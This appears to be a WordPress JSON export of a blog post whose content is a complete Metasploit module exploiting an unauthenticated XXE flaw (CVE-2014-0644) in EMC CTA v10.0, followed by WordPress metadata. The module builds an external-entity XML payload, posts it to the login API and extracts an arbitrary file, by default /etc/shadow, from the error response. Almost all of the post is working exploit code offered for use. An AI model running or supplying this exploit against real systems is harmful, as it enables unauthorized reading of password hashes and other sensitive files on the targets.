##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read’,
‘Description’ => %q{
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack
that allows an attacker to read arbitrary files from the file system
with the permissions of the root user.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Brandon Perry <bperry.volatile[at]gmail.com>’, #metasploit module
],
‘References’ =>
[
[‘CVE’, ‘2014-0644’],
[‘EDB’, ‘32623’]],
‘DisclosureDate’ => ‘2014-03-31’
))<\/p>\n
register_options(
[
Opt::RPORT(443),
OptBool.new(‘SSL’, [true, ‘Use SSL’, true]),
OptString.new(‘TARGETURI’, [ true, “Base directory path”, ‘\/’]),
OptString.new(‘FILEPATH’, [true, “The filepath to read on the server”, “\/etc\/shadow”]),
])
end<\/p>\n
def run<\/p>\n
doctype = Rex::Text.rand_text_alpha(6)
element = Rex::Text.rand_text_alpha(6)
entity = Rex::Text.rand_text_alpha(6)<\/p>\n
pay = %Q{<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<!DOCTYPE #{doctype} [
<!ELEMENT #{element} ANY >
<!ENTITY #{entity} SYSTEM “file:\/\/#{datastore[‘FILEPATH’]}” >]>
<Request>
<Username>root<\/Username>
<Password>&#{entity};<\/Password>
<\/Request>
}<\/p>\n
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘api’, ‘login’),
‘method’ => ‘POST’,
‘data’ => pay
})<\/p>\n
if !res or !res.body
fail_with(Failure::UnexpectedReply, “Server did not respond in an expected way”)
end<\/p>\n
file = \/For input string: “(.*)”\/m.match(res.body)<\/p>\n
if !file or file.length < 2
fail_with(Failure::UnexpectedReply, “File was unretrievable. Was it a binary file?”)
end<\/p>\n
file = file[1]\n
path = store_loot(’emc.file’, ‘text\/plain’, datastore[‘RHOST’], file, datastore[‘FILEPATH’])<\/p>\n
print_good(“File saved to: ” + path)
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,‘Name’ => ‘EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read’,‘Description’ => %q{EMC CTA v10.0 is susceptible to an unauthenticated XXE attackthat allows an attacker to read arbitrary files from the file systemwith the permissions of the root user.},‘License’ …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59285","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59285"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59285\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}